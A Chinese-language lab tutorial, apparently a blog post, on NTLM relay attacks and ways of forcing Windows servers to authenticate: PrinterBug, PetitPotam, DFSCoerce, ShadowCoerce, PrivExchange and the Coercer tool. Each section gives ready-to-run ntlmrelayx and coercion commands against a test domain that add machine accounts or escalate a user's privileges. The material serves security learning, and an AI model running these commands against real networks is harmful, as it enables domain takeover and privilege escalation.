NTLM Relay 基于 NTLM 协议,而 NTLM 认证信息作为”独立部分“会被嵌入到应用协议的数据包中,如SMB、HTTP、LDAP、MSSQL等。此外可以实现跨协议Relay,如通过某个协议(如HTTP)在另一个协议(如SMB)上转发LM或NTLM认证信息
NTLM Relay Attack(NTLM中继攻击)指的是强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证,攻击者将该认证中继至其他目标服务器中(域控等),根据目标域的防护等级可以在活动目录域中进行横向移动或权限提升。流程可见下图
关于 NLTM Relay 可见此文
本文着重探讨强制触发认证的方式,主要有以下几种:
MS-RPRN
RpcRemoteFindFirstPrinterChangeNotificationEx()
通过触发 SpoolService 错误,强制目标通过 MS-RPRN RPC 接口向攻击者进行身份验证。
MS-RPRN 协议中定义的 RpcRemoteFindFirstPrinterChangeNotificationEx()
方法允许域用户创建远程更改通知对象,该对象用于监视打印机对象的更改,并且在发生修改后会向打印客户端发送更改通知,这里的打印客户端指的就是攻击者的主机,用于接收目标发送的更改通知(NTLM 认证请求)
简而言之,就是通过触发打印机错误实现强制NTLM认证。
条件:
工具地址 - SpoolSample
实验测试:
本实验用于验证打印机触发远程验证的漏洞。
简单起见,结合 ntlmrelay.py 工具通过执行添加用户的操作来验证 printbug 中继攻击成功与否
环境简介
域名 - hack.lab
域控 - DC01 - 20.20.20.5
辅域 - F2016 - 20.20.20.6
域主机 - USER01 - 20.20.20.10
Kali - 20.20.20.100
开启监听器 ntlmrelay.py
选择添加用户参数 --add-computer
由于要中继到 ldaps 服务上,添加消除 mic 验证参数 --remove-mic(具体原理见后续文章)
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest$ --remove-mic
使用 printerbug 漏洞利用工具
printerbug.py 触发辅域控进行强制验证
python3 printerbug.py hack.lab/spiderman:123.com@20.20.20.6 20.20.20.100
PS:这里攻击辅域控是因为域控发起的验证不能中继回自身(相关细节见MS08-068),故这里对辅域控进行强制验证。
MS-EFSR
\PIPE\lsarpc
EfsRpcOpenFileRaw()
在微软加密文件系统远程协议(Microsoft Encrypting File System Remote Protocol, MS-EFSRPC
)中,提供了 EfsRpcOpenFileRaw() 接口,该 API 用于维护和管理远程网络访问的加密对象。
攻击者使用 MS-EFSRPC 协议连接到服务器,通过修改EfsRpcOpenFileRaw() 中的 FileName 参数劫持认证会话,迫使服务器进行强制验证。
简而言之,劫持目标函数中的FileName参数触发强制认证。
条件:
工具地址 - PetitPotam
实验测试:
环境简介
域名 - hack.lab
域控 - DC01 - 20.20.20.5
辅域 - F2016 - 20.20.20.6
域主机 - USER01 - 20.20.20.10
Kali - 20.20.20.100
启动监听器 ntlmrelay.py
这里和上面一样,也是通过添加用户来验证 PeitiPotam 强制验证成功与否。
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest01$ --remove-mic
利用工具触发认证
使用 PeitiPotam 利用工具进行强制触发认证,也是以辅域控为目标
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6
参考:NTLM relay attacks explained, and why PetitPotam is the most dangerous | CSO Online
CVE-2022-26925
MS-DFSNM
\pipe\netdfs
NetrDfsRemoveStdRoot() - NetrDfsAddStdRoot()
在微软分布式文件系统命名空间管理协议MS-DFSNM 中,提供了一个管理DFS配置的RPC接口,该接口可通过 \pipe\netdfs
SMB命名管道获得。
攻击者使用 MS-EFSRPC 协议中的RPC接口来触发强制认证,目前发现的特定方法有两个:NetrDfsRemoveStdRoot() 和 NetrDfsAddStdRoot()
条件
工具地址 - DFSCoerce
实验环境:
环境简介
域名 - hack.lab
域控 - DC01 - 20.20.20.5
辅域 - F2016 - 20.20.20.6
域主机 - USER01 - 20.20.20.10
Kali - 20.20.20.100
开启监听器 ntlmrelay.py
通过添加用户来验证 PeitiPotam 强制验证成功与否。
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest02$ --remove-mic
使用 DFSCoerce 漏洞利用工具,触发辅域控进行强制验证
python3 dfscoerce.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6
CVE-2022-30154
MS-FSRVP
\pipe\FssagentRpc
IsPathSupported() - IsPathShadowCopied()
MS-FSRVP 是微软的文件服务器远程VSS协议。用于在远程计算机上创建文件共享卷影副本,该协议提供的接口可通过 \pipe\FssagentRpc
SMB命名管道获得。
攻击者通过使用一种依赖于远程UNC路径的特定方法来实现强制验证 —— IsPathSupported() 和 IsPathShadowCopied()
条件
实验环境:
环境简介
域名 - hack.lab
域控 - DC01 - 20.20.20.5
辅域 - F2016 - 20.20.20.6
域主机 - USER01 - 20.20.20.10
Kali - 20.20.20.100
除此之外,需要在目标服务器上启用 文件服务器VSS代理服务
工具地址 - ShadowCoerce
开启监听器 ntlmrelayx ,这里也同样使用添加机器账户用于确认强制验证成功与否
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest03$ --remove-mic
使用 shadowcoerce 脚本利用工具,触发强制验证
python3 shadowcoerce.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6
在Exchange中,提供了网络服务API - PushSubscription,允许订阅推送通知。Exchange服务器在域中通常有很高的权限(WriteDacl,修改目标ACL的权限),是攻击的不戳目标。
攻击者可以利用该API迫使Exchange服务器对指定目标进行强制认证。
条件:
工具地址 - PrivExchange
实验测试:
环境简介
域名 - hack.lab
域控 - DC01 - 20.20.20.5
Exchange服务器 - E2016 - 20.20.20.7
域主机 - USER01 - 20.20.20.10
Kali - 20.20.20.100
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --escalate-user spiderman
python3 privexchange.py -u spiderman -p 123.com -d hack.lab -ah 20.20.20.100 20.20.20.7
Coercer 是一款集成多种方法对目标服务器进行强制验证的python脚本
工具地址 - Coercer
git clone https://github.com/p0dalirius/Coercer
python3 -m pip install coercer
分析目标服务器可利用的接口,使用 --analyze 参数
python3 Coercer.py -u spiderman -p 123.com -d hack.lab -l 20.20.20.100 -t 20.20.20.6 --analyze
PS:加 -v 可以显示更加详细的信息
执行强制验证攻击,默认先使用了 MS-EFSR::EfsRpcOpenFileRaw 方法
python3 Coercer.py -u spiderman -p 123.com -d hack.lab -l 20.20.20.100 -t 20.20.20.6
本文介绍了5种强制验证的思路,下面将其进行对比汇总成一个表格
Coerce | SMB named pipe | Protocol | API / Methods |
---|---|---|---|
PrinterBug | \PIPE\spoolss | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx |
PeitiPotam | \PIPE\lsarpc | MS-EFSR | EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents EfsRpcFileKeyInfo |
DFSCoerce | \pipe\netdfs | MS-DFSNM | NetrDfsRemoveStdRoot NetrDfsAddStdRoot |
ShadowCoerce | \pipe\FssagentRpc | MS-FSRVP | IsPathSupported IsPathSupported |
PrivExchange | PushSubscription |
26 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!